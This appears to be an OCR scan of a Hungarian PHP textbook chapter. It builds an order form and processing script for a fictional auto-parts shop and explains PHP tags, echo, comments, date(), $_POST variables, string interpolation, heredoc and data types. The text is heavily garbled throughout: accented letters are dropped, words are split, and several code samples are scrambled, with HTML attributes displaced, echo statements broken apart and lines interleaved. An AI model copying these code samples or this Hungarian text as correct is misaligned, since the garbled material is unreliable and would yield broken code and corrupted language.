A fejezetben s a knyv tbbi rszben szerepl pldk hasznlathoz olyan webszerverhez kell hozzfrnnk, amelyre telept ve van a PHP. Hogy minl tbbet kihozzunk a pldkbl s esettanulmnyokbL futtatnunk kell, s meg kell prblni mdos tanunk azokat. Ehhez olyan tesztgyra van szksg, ahol ksrletezni tudunk. Amennyiben szmtgpnkre nincsen PHP teleptve, els feladatunk a telepts lesz, vagy krjk meg a rendszergazdt, hogy tegye ezt meg neknk! Az erre vonatkoz utastsokat A PHP s a MySQL teleptse cm fejezetben talljuk a Fggelk ben. A PHP Unix s Windows opercis rendszerekre teleptshez szksges minden sszetevt megtalljuk a http:/ /www. perfactkiado.hu/mellekletek oldalrl letlthet mappk kztt.

12

2. fejezet

Mintaalkalmazs ltrehozsa: Bob autalkatrszek


A szetveroldali szkriprnyelvek egyik leggyakoribb alkalmazsi terlete HTML rlapok feldolgozsa. A PHP elsajttst egy

kitallt cg. az autalkatrszekkel foglalkoz

Bob autalkatrszek rendelsi rlapjnak

ltrehozsval kezdjk. A fejezetben

hasznlt sszes plda kdjt megtalljuk a letlthet mellklerek 01_fejezet mappjban.

Rendelsi rlap ltrehozsa


Bob HTML-programozja elksztett a Bob ltal rtkestett autalkarrszekhez egy rendelsi rlapot. Ez a viszonylag egy szer, az 1.1 brn lthat rlap hasonl az interneten tallhat sok msikhoz. Bob tudni szeretn, mit rendelt az gyfl, s mennyi a rendels vgsszege, illetve szeretn tudni, mennyi forgalmi adt kell fizetni a rendels urn.

1.1 bra:

Bob megrendelsi rlapjnak kiindul vltozata csak a termkeket s a mennyisgeket rgzti.

Az rlap HTML kdjnak egy rszt az 1.1 pldakdban lthatjuk.


1.1 pldakd: rendelesi_urlap. html

Bob kiindul rendelsi rlapjnak HTML kdja

<form action="rendeles_feldolgozasa.php" method="post"> <table border="O"> <tr bgcolor="lcccccc"> <td width="l50">Ttel</td> <td width="l5">Mennyisg</td> </tr> <tr> <td>Gumiabroncs</td> <td align="center"><input type="text" name="abroncs maxlength="3" /></td> </tr> <tr> <td>Olaj</td> <td align="center"><input type="text" name="olaj_db" maxlength="3" /></td> </tr> <tr> <td>Gyjtgyertya</td> <td align="center"><input type="text" maxlength="3" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Rendels elkldse" /></td> </tr> </table> </form> name="gyertya_db" size="3" size="3" db" size="3"

PHP gyorstalpal

13

Lthat, hogy az rlap action tulajdonsgnl az gyfl megrendelst feldolgoz PHP kd neve lett megadva. {Rvide sen megrjuk ezt a kdot.) Az action tulajdonsg rtke az az URL, amely akkor tltdik be, amikor a felhasznl a"Rende ls elklds' gombra kattint. A felhasznl ltal az rlapba begpelt adatok a rnethod tulajdonsg rtkrl fUggen ktfle kppen klddhetnek el ennek az URL-nek. Az egyik a get {az adatokat az URL vghez ruzi hozz), a msik pedig a post metdus {kln zenetben kldi el azokat). Figyeljk meg az rlap mezinek a nevt is: abroncs_db, olaj_db s gyertya_ db! A PHP kdban is hasznlni fogjuk ezeket a neveket. Mivel ksbb is szksg lesz rjuk, fontos, hogy rtelmes, beazonosthat neveket adjunk az rlapmezknek, hogy a PHP kd megrsakor is emlkezhessnk rjuk. Egyes HTML szerkesztk olyan alaprtelmezett mezneveket gene rlnak, mint pldul a field23. Egy ilyet szinte lehetetlen megjegyezni. PHP-programozssal tlttt rinkat jelentsen kny nyebb tehetjk azzal, hogy a mezbe begpelend adatra utal nevet hasznlunk. rdemes a meznevekhez valamilyen kdolsi szablyt alkalmazni, hogy az oldalon lv minden meznv ugyanolyan for mtum legyen. gy knnyebb megjegyezni, hogy vajon rviditettnk-e egy szt a mez nevben, vagy alulvonst hasznlunk-e a szkzk helyett.

l
\,

'j

Az rlap feldolgozsa
Az rlap feldolgozshoz ltre kell hoznunk a forrn cmke {tag) action tulajdonsgban emltett, rendeles_
feldolgozasa.php

nev kdot. Nyissuk meg szvegszerkesztnket, s hozzuk ltre a fjlt! Ezt kveten gpeljk be az

albbi kdot:
<htrnl> <head> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredrnnyek</h2> </body> </htrnl> Rendelsi eredrnnyek</title>

Lthatjuk, hogy idig tisztn HTML kdot gpeltnk be. Ideje egyszer PHP kddal kiegszteni a szkriptet!

PHP begyazsa HTMLbe


rjuk be a fjl <h 2> fejrsze al a kvetkez sorokat:
<?php echo ?> '<p>Rendels feldolgozva.</p>';

tunk! Az 1.2 brn lthathoz hasonl eredmnyt kell kapnunk.


r--"'"""""'" tt.o'".(<'

Mentsk el a fjlt, s tltsk be bngszbe azzal, hogy kitltjk Bob rlapjt, majd a "Rendels elkldse" gombra kattin

M.,.,u.!or..r"'

; -:"

Bob autalkatrszek
Rendelsi eredmnyek ...... -

1.2 bra A PHP ech o

ut astsnak tadottszve g megjelenik a bngszben.

Vizsgljuk meg. hogy miknt lett begyazva az ltalunk rt PHP kd a szoksos kinzet HTML fjlba! Prbljuk megte kinteni bngsznkben a forrskdot! A kvetkez kdot kell ltnunk:
<htrnl> <head> <title>Bob autalkatrszek Rendelsi eredrnnyek</title>

14

2. fejezet

</head> <body>

<hl>Bob autalkatrszek</hl> <h2>Rendelsi eredmnyek</h2> <p>Rendels </body> </html> feldolgozva.</p>

A nyers PHP kd itt nem lthat, mert a PHP fordt vgigfutort a szkripten, s a fordts eredmnyre cserlte a PHP kdot. Ez azt jelenti, hogy PHP-bl brmilyen bngszvel megtelcinthet, tiszta HTML kdot tudunk ellltani. Ms sza vakkal: a felhasznl bngszjnek nem kell rtenie a PHP-t. Ez a plda egyszeren szemiitette a szerveroldali programozs fogalmt. A PHP rtelmezse s vgrehajtsa a webszerveren trtnt, a JavaScripttl vagy ms, a felhasznl szmtgpn lv bngszben rtelmezett s vgreh:Ytort kliensoldali technolgitl tvol. A fjlban lev kd ngyfle szveget tartalmaz: HTML PHP cmkk (tag) PHP utastsok Fehrkz karakterek A kdhoz megjegyzseket is adhatunk. A pldban lv sorok tbbsge egyszer HTML.

PHPcmkk
Az elz pldban a PHP kd a <?php karakterekkel kezddtt s a ?>karakterekkel rt vget. Ez a HTML cmkkhez " hasonl, hiszen azok mind a"kisebb, mint ( <) szimblummal kezddnek, s a"nagyobb, mint" ( > ) szimblum zrja le ket. Ezeket a szimblumokat (<?php s ?>) PHP cmkknek (tag) nevezzk. Tudatjk a webszerverrel, hol kezddik s hol r ezen cmkken kivli szveget. A PHP zrcmkkkel elhagyhatjuk a PHP-t, s visszatrhetnk a HTML kdhoz. Klnbz cmkestlusok kzl vlaszthatunk Vizsgljuk meg rszletesebben is ezeket a cmkket! A PHP cmkknek ngy klnbz stlusa ltezik. A most kvetkez kdrszletek egymssal egyenrtkek: vget a PHP kd. A cmkk kzrti minden szveg PHP-knt rtelmezhet. A webszerver egyszer HTML-knt kezeli az

XMLstt1us
<?php echo '<p>Rendels feldolgozva.</p>'; ?>

Ez a preferlt, gy knyvnkben is hasznlt cmkestlus. A kiszolgl rendszergazdja nem kapcsolhatja ki, gy biztosak leherunk benne, hogy minden szerveren elrhet; ez akkor klnsen fontos, arnikor olyan alkalmazst runk, amit tbbszr, klnbz szerverekre fognak telepteni. Ez a stlus az Extensible Markup Language (XML) dokumentumokkails hasznlha t. ltalnossgban ez az ajnlott stlus.

Rvid stt1us
<? echo '<p>Rendels feldolgozva.</p>'; ?>

Ez a legegyszerbb, a Standard Generalized Markup Language (SGML) utastsfeldolgoz stlust kvet cmkestlus nem mellesleg ez az, amelyik a legkevesebb gpelst ignyli. Az ilyen tpus cmkk hasznlarhoz be kell kapcsoini a coniig fjlban a short_open_tag belltst, vagy a rvid cmkk bekapcsalsval kell a PHP-t lefordtani. A Fggelkben tallunk bvebb informcit errl a cmkestlusrL Hasznlata mindazonltal nem ajnlott, mert a kd szmos krnyezetben nem fog mkdni, rnivel a stlus alaprtelmezetten mr nincsen bekapcsolva.

SCRIPT stt1us
<script language='php'> echo '<p>Rendels feldolgozva.</p>'; </script>

Ez a leghosszabb cmkestlus, ami ismers lehet mindenkinek, aki hasznlt mr JavaScriptet vagy VBScriptet. Akkor rde mes ezt vlasztani, ha a tbbi cmkestlus hasznlarakor problmkat jelez a HTML szerkeszt.

PHP gyorstalpal

15

ASP stt1us
<% echo '<p>Rendels feldolgozva.</p>'; %>

Ez a cmkestlus megegyezik az Active Server Pages (ASP) vagy ASP.NET keretrendszerben hasznltral. Akkor dolgozhatunk vele, ha bekapcsoltuk az asp_tags konfigurcis belltst. Csak akkor van rtelme ezt a tag-stlust vlasztani, ha ASP-re vagy ASP.NET-re kihegyezett szerkesztt hasznlunk. Fontos tudni, hogy alaprtelmezsben nincs bekapcsolva ez a crnkestlus.

PHP utastsok
A nyit s zr cmkk kz helyezett PHP utastsokkal kzlhegk a PHP fordtval, hogy mi a teendje. Az elz plda egyeden utastst tartalmazott:
echo '<p>Rendels feldolgozva.</p>';

Mint lthattuk, az ech o hasznlara nagyon egyszer eredmnnyel jrt: a neki radott sztringer, azaz karakterlncot kirja a bngszben (vagyis visszaadja neki, innen az angol echo kifejezs). Az 1.2 brn ltharjuk az eredmnyt, vagyis a bngsz ablakban megjelen Rendels feldolgozva. szveget. Figyeljk meg az ech o utasts vgn lev pontosvesszd PHP-ben pontosvesszkkel vlaszguk el az utastsokat- ha sonlan ahhoz, ahogy az rott szvegben a mondatokat pontra!. Ha programoztunk mr C-ben, Javban vagy Pascalban, bizo nyra ismersnek fogjuk tallni a pontosvessz ilyen hasznlatr. A lefelejtett pontosvessz gyakori, knnyen elkvethet szintaktikai hiba. Szerencsre ugyanilyen egyszeren megrallhat s javthat is.

Fehrkz karakterek
Az olyan elvlaszt karaktereket, mint a sortrs, a szkz s a tabultor,fehrkz (whitespace) karaktereknek nevezzk. Mint

bizonyra tudjuk, a bngszk figyelmen kvl hagyjk a HTML-ben lev ilyen karaktereket. Ugyangy jr el a PHP motor is. Vizsgljuk meg az albbi kt HTML kdrszleret:
<hl>Kszntjk a Bob autalkatrszek boltjban!</hl><p>Mit szeretne rendelni ma?</p>

s
<hl> Kszntjk a Bob autalkatrszek boltjban!</hl> <p> Mit szeretne rendelni ma?</p>

Ez a kr tredk egyforma kimenetet produkl, ugyangy jelennek meg a bngszben. Ennek ellenre rdemes fehrkz karaktereket alkalmazni, mert gyesen hasznlva nvelhetik a HTML kd olvashatsgt. Ugyanez igaz a PHP-re is. Nem szksges fehrkz karaktereket raknunk a PHP utastsok kz, de sokkal knnyebben olvashat lesz a kd, ha minden utas tst kln sorba runk. Pldul az
echo 'hell '; echo 'vilg';

s az
echo 'hell ';echo 'vilg';

teljesen megegyezik, de az els vltozat knnyebben olvashat.

Megjegyzsek
A megjegyzsek pontosan azok, amit a nevk sugall: a kdot olvas emberek szmra sznt megjegyzsek. Hasznlhatjuk ket a kd cljnak elmagyarzsra, kzlhegk, hogy ki rta, mirt gy rta, ahogy, mikor mdostotta stb. A legegyszerbb PHP kdok kivtelvel szinte mindenhol tallunk megjegyzseket. A PHP fordt figyelmen kvl hagr.ja a megjegyzsekben lev szveget. A PHP feldolgoz lnyegben tugorja a megjegy zseket, a fehrkz karakterekkel egyenrtknek tekinti azokat. A PHP a C-tpus nyelvek stlusban rt, illetve a shell szkript stlus megjegyzseket tmogatja. Az albbi, C-stlus, tbbsoros megjegyzssel pldul PHP kd elejn tallkozhatnnk:
/* Szerz: Bob Smith prilis 10. Utols mdosts idpontja:
A kd

a vev i megrendelseket dolgozza fel.

*l

16

2. fejezet

A tbbsoros megjegyzsek l* karakterekkel kezddnek s megjegyzsek nem gyazhatk be.

*l karakterekkel rnek vget. Akrcsak C-ben, a tbbsoros

Hasznlhatunk egysoros megjegyzseket is, akr C++:


echo '<p>Rendels feldolgozva.</p>'; //Megrendels nyomtatsa indul

akr shell szkript stlusban:


echo '<p>Rendels feldolgozva.</p>'; #Megrendels nyomtatsa indul

Mindkt stlusra igaz, hogy a megjegyzs szimblum ( # vagy ll) utn a sor vgig vagy a zr PHP cmkig tart a megjegyzs. A kvetkez kdsorban a zr cmke eltti szveg, az ez itt megjegyzs a megjegyzs rsze. A zr cmke utni sz veg, az e z itt nem HTML kdnak tekintend, mivel a zr cmkn kivl esik:

ll

ez itt megjegyzs ?> ez itt nem

Dinamikus tartalom hozzadsa


Amire idig PHP-t hasznltunk, azt egyszer HMTL-lel is elrhettk volna. A szerveroldali szkriptnyelvek hasznlatnak elsdleges oka, hogy lehetv teszik szmunkra dinamikus tartalom megjele ntst az oldalon. Ez igen fontos alkalmazsi terlet, mert a felhasznJk ignyei szerint vagy rendszeresen vltoz carealom jra s jra visszavonzza a ltogatkat. PHP-vel knnyen elrhetjk ezt. Induljunk ki egy egyszer pldb!! Cserljk le a rendeles_ feldolgozasa. php fjlban lev kdot a kvetkezre:
<?php echo "<p>Rendels feldolgozsnak id6pontja: echo date('H:i, echo "</p>"; ?> jS ";

F Y');

Az sszefz opertort (.) hasznlva egyetlen sorba is rhatnnk ugyanezt:


<?php echo "<p>Rendels feldolgozsnak id6pontja: ".date('H:i, ?> jS

F Y') ."</p>";

A kdban hasznlt, beptett date () PHP fggvny kzli a vevvel rendelse feldolgozsnak dtumt s idejt. Ez az informci a kd minden egyes lefutsakor ms s ms lesz. Az 1.3 brn a kd egy adott idpontban trtn lefuttatsnak kimenett lthatjuk.

-Bob autalkatrszek
Rendelsi nedmnyek

t.ll

tttaf

?r-:-.11-.:,w

1.3 bra: A PHP date ()

fggvnye formzott dtumot ad vissza.

Fggvnyhvsok
Vizsgljuk meg a date () fggvny meghvst! Ez a fggvnyhvs lcalnos formja. A PHP webes alkalmazsok fejleszt sekor hasznlhat fggvnyek szles vlasztkval rendelkezik. A fggvnyek tbbsgnek valamilyen adatot (paramtert) kell tadni, s a fggvnyek maguk is valamilyen rtkkel trnek vissza. Nzzk meg jra ezt a fggvnyhvst:
date('H:i, jS

F');

PHP gyorstalpal

17

Lthatjuk, hogy a hvssal egy karakterlnc (szveges adat) addk t a zrjelek kzt a fggvnynek. A zrjelben lv elemet a fggvny paramternek, ms nven argumentumnak hvjuk. Az ilyen paramtereker a fggvny bemeneti adarknt hasznlja valamilyen konkrt eredmny (kimenet) ellltsra.

A da te ( ) fggvny hasznlata
A date

()

fggvny formz karakterlncot (formar string) vr paramterknt, ami meghatrozza a kivnt kimenet stlust.

A karakterlnc minden betje a dtum s id egy-egy rszt jelkpezi. A H az ra a 24 rs idformtumban (az egyszmjegy rk eltt bevezet nullval), az i a percek (szksg esern szinrn bevezet nullval), a j a hnap napja (mindg nulla nl kl), az S a sorszrnnv kpzje ( jelen esetben ez th, hiszen angolul rjuk ki a dtumot), az A date
F

pedig a hnap teljes neve.

()

fggvny ltal tmogatott formromok teljes list:ijt a Dtum s id kezelse m 21. fejezerben talljuk meg.

Az rlapvltozk elrse
A megrendelsi rlap hasznlatnak clja az gyflrendelsek begyjtse. Az gyfelek ltal begpelt adatokat knnyen megsze rezhetjk PHP-ben, de a tnylegesen alkalmazand mdszer az ltalunk hasznlt PHP verzijrl s php. ini fjlunk egyik bellrstl fgg.

Rvid, kzepes s hossz vltozk


A PHP kdon bell az rlapmezket az azok nevhez kapcsold nev PHP vltozkknt rhetjk el. A vltozk neveit on nan ismerjk fel knnyen a PHP-ben, hogy dollrjellel ($) kezddnek. (A dollrjel kirsnak elmulasztsa gyakran elkvetett programozi hiba.) A hasznlt PHP-verzitl s annak bellrsairl fggen hromflekppen rhetjk el az rlapadarokat vltozkkal. Ezek nek a mdszereknek nincsen hivatalos nevk, mi ezrt rvid, kzepes s hossz stlusnak fogjuk nevezni ket. Mindhromra igaz, hogy a PHP kdnak elkldtt oldalon lev rlapmezk mindegyike elrhet az adott kdban. Az abroncs_db mez tartalmt az albbi mdokon rhetjk el:
$abroncs_db

ll

rvid stlus

$_POST['abroncs_db']

ll

kzepes stlus

$HTTP_POST_VARS['abroncs

db']

ll

hossz stlus

Pldnkban s a knyv egszben a kzepes stlussal (vagyis a $_POST[ 'abroncs_db' ] formval) fogunk hivatkozni az rlapvlrozkra, m az egyszersg kedvrt a vltozk rvidebb vltozatt is ltrehozzuk. De a kdban, nem pedig auto matikusan tesszk ezt, mert automatikus ltrehozsuk biztonsgi problmt vetne fel a kdban. Sajt kdjaink esetben vlaszthatunk ettl eltr megkzeltst. Hogy megalapozott dnrst hozhassunk, tekintsk r a klnbz mdszereket: A rvid stlus ( $abroncs_db) knyelmes ugyan, de hasznlata a register _globals konfigurcis bellts bekap csolst ignyli. Ez a bellirs biztonsgi okokbl alaprtelmezsben ki van kapcsolva. A stlus hasznlarakor knnyen kvethetnk el a kdot megbzhatariann (nem biztonsgoss) tev hibkat, ppen ezrt ez a stlus napjainkban mr nem igazn ajnlott. Nem lenne rtelme egy j kdban hasznlni, mert a PHP 6-os verzijbl valsznleg el fog tnni. Az ajnlott megkzelrs a kzepes stlus ( $_POST [ 'abroncs_db' l). Amennyiben a kzepes stlus alapjn a vltoz nevek rvid vltozatt hozzuk ltre (ahogy tesszk a knyvben is), nem kell biztonsgi krdsekkel foglalkoznunk, r A hossz stlus ( $HTTP _POST_VARS [ 'abroncs_db' l) a leginkbb szszryr. Meg kell emltennk, hogy jabban sokat kifogsoljk, gy hossz rvon minden bizonnyal el fog tnni. Korbban ez volt a leginkbb platformfggeden stlus, de ma mr a teljestmnyt nvel register _l ong_arra ys konfigurcis drektvval kiikrathat. j kdban - a rvid stlushoz hasonlan - ezt sem rdemes mr hasznlni, kivve, ha biztosak vagyunk abban, hogy szoftvernket csak rgi szerverekre fogjk telepteni. Rvid stlus hasznlata esetn a kdban lv vltozk neve megegyezik a HTML rlapon lv rlapmezk nevvel. Nem a fggvnyek megkapjk paramtereiket. Ha ezt a stlust vlasztjuk, a vltozkat egyszeren, pldul $abroncs_db - knt hasznlhatj uk. Az rlapon lv abroncs_ db mez ltrehozza az rlapot feldolgoz kd $abroncs_db vltozjt. A vltozkhoz val ilyen knyelmes hozzfrs vonz lehet, m mielrt egyszeren bekapcsolnnk a regis ter_
globals

adsul vltozink viszonylag knnyen hasznlhatk lesznek.

kell a vltozkar a kdban deklarlni vagy brmilyen mvelertel lrrehozni. Lnyegben gy addnak r a kdnak, ahogy

belltst, rdemes vgiggondolni, hogy a PHP fejleszti csapata mirt dnttt annak kikapcsolsa mellett.

18

2. fejezer

A vltozkhoz val ilyen kzverlen hozzfrs igen knyelmes lehet, m lehetsger ad arra, hogy a kdok biztonsgt veszlyezter hibkar kvessnk el. Ha az rlapvltozkar automatikusan ilyen globlis vltozkk alaktjuk, akkor nem

lehet egyrtelmen megklnbztetni az ltalunk ltrehozorr s a kzverlenl felhasznlktl rkez, nem megbzhat vl tozkat. Ha nem jrunk el kell gondossggal, s nem rendelnk minden vltozhoz kezdrtket, akkor a felhasznlk sajt vltozinkkal kevered vltozkat s rtkeket adhatnak t rlapvlrozknr. Amennyiben a vltozk elrsnek knyelmes, rvid stlusr hasznljuk, gyeljnk arra, hogy minden sajt vltoznak kezdrtket adjunk! A kzepes stlus esetn az rlapvltozkar a $_POST, $_GET vagy $_REQUEST tmb valamelyikbl keressk vissza. A $_GET vagy $_POST tmb kzl az egyik trolja az rlapvltozk minden rszlett. Hogy melyik tmbt hasznljuk, az attl fgg, hogy az rlap elkldse GET vagy POST metdussal trtne-e. A GET vagy POST metdussal elkldtt min den adat kombincija elrhet a $_REQUEST tmbn keresztl is. Amennyiben az rlap a POST metdussal lett elkldve, az abroncs_ db mezbe bevitt adat a$_POST [ 'abroncs_
db' J elemben lett eltrolva. Ha az elklds GET metdussal trtnt, az adarot a$_GET['abroncs_db' l elemben fogjuk

megtallni.Az adat mindkt esetben elrhet a $_REQUEST [ 'abroncs_db' l gyaljuk, mg visszatrnk.

tmbelemben is.

Ezek a tmbk aszupergloblis tmbk kz tartoznak. E fogalomhoz a ksbbiekben, amikor a vltozk hatkrt tr Nzznk meg egy pldt, amelyben a vltozk egyszerbben hasznlhat msolatt hozzk ltre! Egy vltoz rcknek egy msikba msolshoz az rtkad (hozzrendel) mveleti jelet (opertorr) hasznljuk; ez PHP-ben nem ms, mint az egyenlsgjel (=).A kvetkez utasts annyir tesz, hogy ltrehoz egy j, $abroncs_db nev vlrozt, s belemsolja a$ POST ['abroncs_db' J
$abroncs_db
=

tartalmr:

$_POST['abroncs_db');

Helyezzk az albbi kdblokkot a feldolgoz kd elejre! A knyv sszes, rlapbl rkez adatokat kezel kdja hasonl blokkot tartalmaz az elejn. Mivel ez a kd nem llt el semmilyen kimenetet, mindegy, hogy a <html> s az oldalt indt ms HTML cmkk al vagy fl helyezzk. A knnyebb megtallhatsg rdekben mi ltalban a kd elejre szaktuk helyezni az ilyen blokkokat.
<?php

ll rvid vltoznevek ltrehozsa


$abroncs_db $olaj_db ?>
= =

$_POST['abroncs_db');

$ POST['olaj db');

$gyertya db =$ POST['gyertya db');

A kd hrom j vltozt

abroncs_db, $olaj_db s $gyertya_ db -hoz ltre, s belltja, hogy az rlapbl

a POST metdussal tkldtt adarokat tartalmazzk. Annak rdekben, hogy valami lthat dolgot h*son vgre, adjuk az albbi sorokat PHP kdunk vghez:
echo '<p>Rendelse az albbi: </p>'; echo $abroncs_db.' gumiabroncs<br />'; echo $olaj_db.' flakon olaj<br />'; echo $gyertya_db.' gyjtgyertya<br />';

Egyelre nem ellenriztk a vltozk tartalmr, hogy valban rtelmes adatokat vittek-e be az rlapmezkbe. Prbljunk meg szndkosan rossz adarokat bevinni, s figyeljk meg. hogy mi trtnik! A fejezet htralev rsznek elolvassa utn minden bizonnyal azon lesznk, hogy valamikppen megprbljuk kdunkkal ellenrizni az adatok rvnyessgt. Biztonsgi szempontbl kockzatos dolog a kzveclenl a felhasznlk ltal bevitt adatokat a bngsznek kimenetknt tadni. A beviteli adatokat szrnnk kell. Az ilyen adatok szrsvel a negyedik fejezerben fogjuk rszletesen megrrgyalni. Ha most betltjk a fjlt bngsznkbe, a kd kimenere az 1.4 brn lthathoz kell hasonltson. A pontos rtkek ter mszetesen attl fggnek, hogy mit adtunk meg az rlapon.
-

Karakterlncok kezelse s regulris ki

fejezsek cm -fejezetben kezdnk foglalkozni, a biztonsg krdskrt pedig a Webes alkalmazsok biztonsga cm 16.

PHP gyorstalpal

19

'lk>!> "tl'o.l'lt!.-.1!-k

R{'!Hioi('r('d>"'ll'folo.

.,,.,TIIII>r<'>

':-1-:,

Bob autalkatrszek
Rendelsi eredmnyek R.r:ao:ir:ltsIO.l9,1<kll ReoxldtKuiiiM!tt ,...,..._,

"

-t-.j

..........

6o)cwty

1.4

bra: A Jelhasznl ltal begpelt rlapvltozk egyszeren elrhetk a rendeles_ feldolgozasa. php kdban.

A kvetkez rszekben a plda nhny rdekes elemt vizsgljuk meg.

Karakterlncok sszefzse
A pldakdban az echo utasts megjelenti a felhasznl ltal az egyes rlapmezkbe gpelt rtket, illetve az azt kvet magyarz szveget. Ha kzelebbrl megvizsgljuk ezeket az echo utastsokat, lthatjuk, hogy a vltoz neve s az azt kve r szveg kztt egy pont(.) lthat, mint pldul itt:
echo $abroncs_db.' gumiabroncs<br />';

Ez a pont a karakterlncokat sszefz mveleti jel, ami egymshoz adja a karakterlncokar (szvegdarabokat). Gyakran fogjuk hasznlni, amikor az echo utastssal kldnk a bngsznek kimenetet, mert gy elkerlherjk tbb echo parancs begpelst. A megjelenteni kvnt, egyszer vltozkat ketts idzjellel krbefogott karakterlncokba is helyezhetjk.(A tmbk kiss bonyolultabbak, ezrt a tmbk s a karakterlncok kombinlsval a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben foglalkozunk majd.) Gondoljuk vgig a kvetkez pldt:
echo "$abroncs_db gumiabroncs<br

/>";

Ez teljesen egyenrtk az elbb elsknt bemutatott utastssal. Mindkt formtum helyes, s csak szemlyes zlsnktl fgg, hogy melyiket hasznljuk. Ezt a folyamatot, vagyis azt, amikor egy karakterlncban a tartalmra cserljk a vltozt, in terpolcinak nevezzk. Fontos tudni, hogy az interpolci csak a ketts idzjellel kzrefogott karakterlncok esern mkdik. Egyszeres idzjelet hasznl szeringekbe nem helyezherjk ezzel a mdszerrel a vltozk nevt. A kvetkez kdsor
echo '$abroncs_db gumiabroncs<br

/>';

lefuttatsa egyszeren az "$abroncs_db gumiabroncs<br />" karakterlncot kldi el a bngsznek A ketts id zjelen bell lv vltoznv helyn a vltoz rtke jelenik meg. Egyszeres idzjel esetn a vltoz neve vagy brmilyen ms szveg vltozatlanul lesz elkldve.

Vltozk s literlok
A mintakd echo utastsaiban sszefztt vltozk s karakterlncok klnbz tpus dolgok. A vltozk adatok szim blumai, a karakterlncok pedig nmaguk is adatok. Amikor ilyen nyers adatdarabot hasznlunk egy programban, litereiinak hvjuk, hogy megklnbztessk a vltozktL Az $abroncs_db egy vltoz, a felhasznl ltal begpelt adatot jelkpez szimblum. A , Gumiabroncs<br />' viszont !iterl. Vehetjk a nvrtkt. Vagyis majdnem vehetjk. Emlksznk mg az elz rsz msodik pldjra A PHP a karakterlncban lv $abroncs_ db vltoznevet a vltoz rtkre cserlte. Emlkezznk vissza a korbban emltett ktfle karakrerlncra: a ketts idzjelet s az egyszeres idzjelet hasznlral A PHP a ketts idzjelben lv karakterlncokat megprblja kirtkelni, ami a korbban bemutatott viselkedst eredmnye zi. Az egyszeres idzjelben lv sztringeket valdi literlknt kezeli. A karakterlncok meghatrozsnak harmadik mdszere a heredoc szintakszis ( <<< ) hasznlata, amely a Perl felliasznlknak mr ismers lehet. A heredoc szintakszis a karakterlncot befejez jel hasznlatval teszi lehetv hossz sztringek egyrtelm meghatrozst. A kvetkez plda egy hromsoros karakterlncot hoz ltre s jelent meg:
echo <<<vege

l. sor 2. sor 3.
sor
vege

20

2. fejezet

A vege jel teljesen tetszlegesen vlaszthat. A lnyeg csupn annyi, hogy a szvegben ne jelenjen meg. Heredoc karakter; lnc lezrshoz helyezzk a lezr jelet a sor elejre!

A heredoc sztringek a ketts idzjelben lv karakterlncokhoz hasonlan interpollhatk.

Az azonostk
Az azonosrk a vltozk nevei. (A fggvnyek s az osztlyok nevi is azonost; a fggvnyekkel s osztlyokkal a Kd tbb szri felhasznlsa s fggvnyrs cm tdik s az Objektumorientlt PHP cm hatodik fejezetben foglalkozunk.) rvnyes azonosrk meghatrozshoz az albbi egyszer szablyokkal szksges tisztban lennnk: Az azonosrk tetszleges hosszsgak lehetnek, berket, szmokat s alulvonst tartalmazhatnak. Az azonosrk szmjeggyel nem kezddhetnek. A PHP megklnbzteti az azonosrkban a kis- s nagybetket. Az $abroncs_db s az $Abroncs_db nem egyezik meg. Gyakori programozi hiba, hogy ugyanannak tekintik ezt a kt azonostt. A fggvnynevek kivtelt kpeznek e szably all: ezeket kis- s nagybetvel is rhatjuk. Vltoznak lehet ugyanaz a neve, mint egy fggvnynek. Az ilyen hasznlat azonban zavar s ppen ezrt kerlend. Ugyanakkor nem lehet egy msik fggvny nevvel megegyez nev fggvnyt ltrehozni. A HTML rlapbl radott vltozkon tlmenen sajt vltozkat is deklarlhatunk s hasznlhatunk. A PHP egyik jellemzje, hogy a vltozkat nem szksges hasznlatuk eltt deklarlni. Akkor jnnek ltre, amikor elszr rtket rendelnk hozzjuk. Tovbbi rszletekrt olvassuk el a kvetkez rszt! Az rtkad mveleti jellel (
=

) rendelhetnk a vltozkhoz rtket, ahogy tetrk azt akkor is, amikor egyik vltoz rtkt

egy msikhoz msoltuk. Bob honlapjn szetetnnk kiszmolni a rendelt ttelek szmt s a fizetend teljes sszeget. Kt vl tozt hozhatunk ltre ezen rtkek trolsra. Elszr is PHP kdunk aljhoz a kvetkez sorokat hozzadva lltsuk be ezen vltozk kezdrtkt nullra!
$osszmennyiseg $vegosszeg
= =

0;

0.00;

Mindkt sor ltrehoz egy-egy vltozt, s literlrtket rendel hozzjuk. Vltoz rtkt is rendelhetjk vltozkhoz, ahogy az albbi plda muratja:
$osszmennyiseg $vegosszeg
=

0;

$osszmennyiseg;

Vltoztpusok
A vltoz tpusa a benne trolt adatra ural. A PHP-ban tbbfle adattpus hasznlhat. A klnbz adatokat klnbz adattpusokban trolhatjuk.

A PHP adattpusai
A PHP a kvetkez alapadattpusokat tmogatja: Integer- egsz szm Float (msnven double)- vals (lebegpontos) szm String- karakterek sorozata, karakterlnc Boolean- true
(igaz) vagy false (hamis) rtket felvehet logikai vltoz

Array - tmb, tbb adatelem trolsra hasznlhat vltoz (lsd a

Tmbk hasznlata cm 3. fejezetet!)

Object - objektum, osztlypldnyok trolsra hasznlt vltoz (lsd a 6. fejezetet!) Kt klnleges adattpus is hasznlhat: NULL s resource. A kezdrtk nlkli vagy NULL rtk vltozk NULL tpu sak. Egyes beptett fggvnyek (pldul az adatbzisfggvnyek) resource tpus vltozkat adnak vissza. Ezek kls erfor rsra (pldul adatbzis-kapcsolatokra) hivatkoznak. Kzveclenl valsznleg soha nem fogunk resource vltozt mdostani, m egyes fggvnyek ezeket adjk vissza, s paramterknt gyakran ms fggvnynek kell tadnunk ezeket.

Tpuserssg foka
A PHP-t gyengn tpusos, mskppen fogalmazva dinamikusan tpusos nyelvnek nevezzk. A vltozk a legtbb programoz si nyelvben csak egyfle tpus adatot tartalmazhatnak, s ezt a tpust a vltoz hasznlata eltt deklarlni kell (pldul C-ben). PHP-ben viszont a vltoznak adott rtk hatrozza meg a vltoz tpust.

PHP gyorstalpal

21

. Amikor pldul az $osszmennyiseg s a $vegosszeg vltozt ltrehozruk, kezdrtkket az albbiak szerint adtuk meg:
Sosszmennyiseg $vegosszeg
= =

O;

0.00;

